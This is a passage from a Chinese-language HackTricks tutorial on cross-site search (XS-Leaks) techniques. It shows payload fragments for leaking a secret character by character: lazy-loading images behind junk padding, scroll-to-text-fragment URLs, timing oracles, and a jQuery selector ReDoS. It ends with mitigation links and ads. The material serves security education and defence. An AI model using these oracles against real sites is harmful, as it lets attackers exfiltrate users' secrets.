但是,如果出于某种原因您 必须 逐个字符地进行(也许通信是通过缓存命中),您可以使用这个技巧。

图像 在 HTML 中具有一个 "loading" 属性,其值可以是 "lazy"。在这种情况下,图像将在被查看时加载,而不是在页面加载时:

<img src=/something loading=lazy >

因此,您可以做的是添加大量垃圾字符(例如成千上万的"W")来填充网页在秘密之前,或者添加类似<br><canvas height="1850px"></canvas><br>的内容。
然后,如果例如我们的注入出现在标志之前图像将会加载,但如果出现在标志之后,标志 + 垃圾将阻止其加载(您需要尝试放置多少垃圾)。这就是在这篇文章中发生的事情。

另一个选项是使用scroll-to-text-fragment,如果允许的话:

Scroll-to-text-fragment

但是,您可以让机器人访问页面,使用类似

#:~:text=SECR

所以网页将是这样的:https://victim.com/post.html#:~:text=SECR

其中 post.html 包含攻击者的垃圾字符和懒加载图像,然后添加机器人的秘密。

这段文本的作用是让机器人访问页面中包含文本 SECR 的任何文本。由于该文本是秘密,并且它就在 图像下方,因此 只有在猜测的秘密正确时,图像才会加载。所以你就有了你的神谕来 逐字符提取秘密

一些利用此漏洞的代码示例:https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e

基于图像懒加载时间

如果 无法加载外部图像,这可能会向攻击者指示图像已加载,另一种选择是尝试 多次猜测字符并测量。如果图像加载,所有请求的时间将比图像未加载时更长。这就是在 此写作的解决方案中 总结的内容:

{% content-ref url="event-loop-blocking-+-lazy-images.md" %} event-loop-blocking-+-lazy-images.md {% endcontent-ref %}

ReDoS

{% content-ref url="../regular-expression-denial-of-service-redos.md" %} regular-expression-denial-of-service-redos.md {% endcontent-ref %}

CSS ReDoS

如果使用 jQuery(location.hash),可以通过时间来判断 是否存在某些 HTML 内容,这是因为如果选择器 main[id='site-main'] 不匹配,则不需要检查其余的 选择器

$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']")

CSS 注入

{% content-ref url="css-injection/" %} css-injection {% endcontent-ref %}

防御

https://xsinator.com/paper.pdf 和每个 wiki 部分 https://xsleaks.dev/ 中推荐了一些缓解措施。请查看那里以获取有关如何防止这些技术的更多信息。

参考

{% hint style="success" %} 学习和实践 AWS 黑客技术:HackTricks 培训 AWS 红队专家 (ARTE)
学习和实践 GCP 黑客技术:HackTricks 培训 GCP 红队专家 (GRTE)

支持 HackTricks
{% endhint %}


使用 Trickest 轻松构建和 自动化工作流程,由世界上 最先进 的社区工具提供支持。
今天就获取访问权限:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=xs-search" %}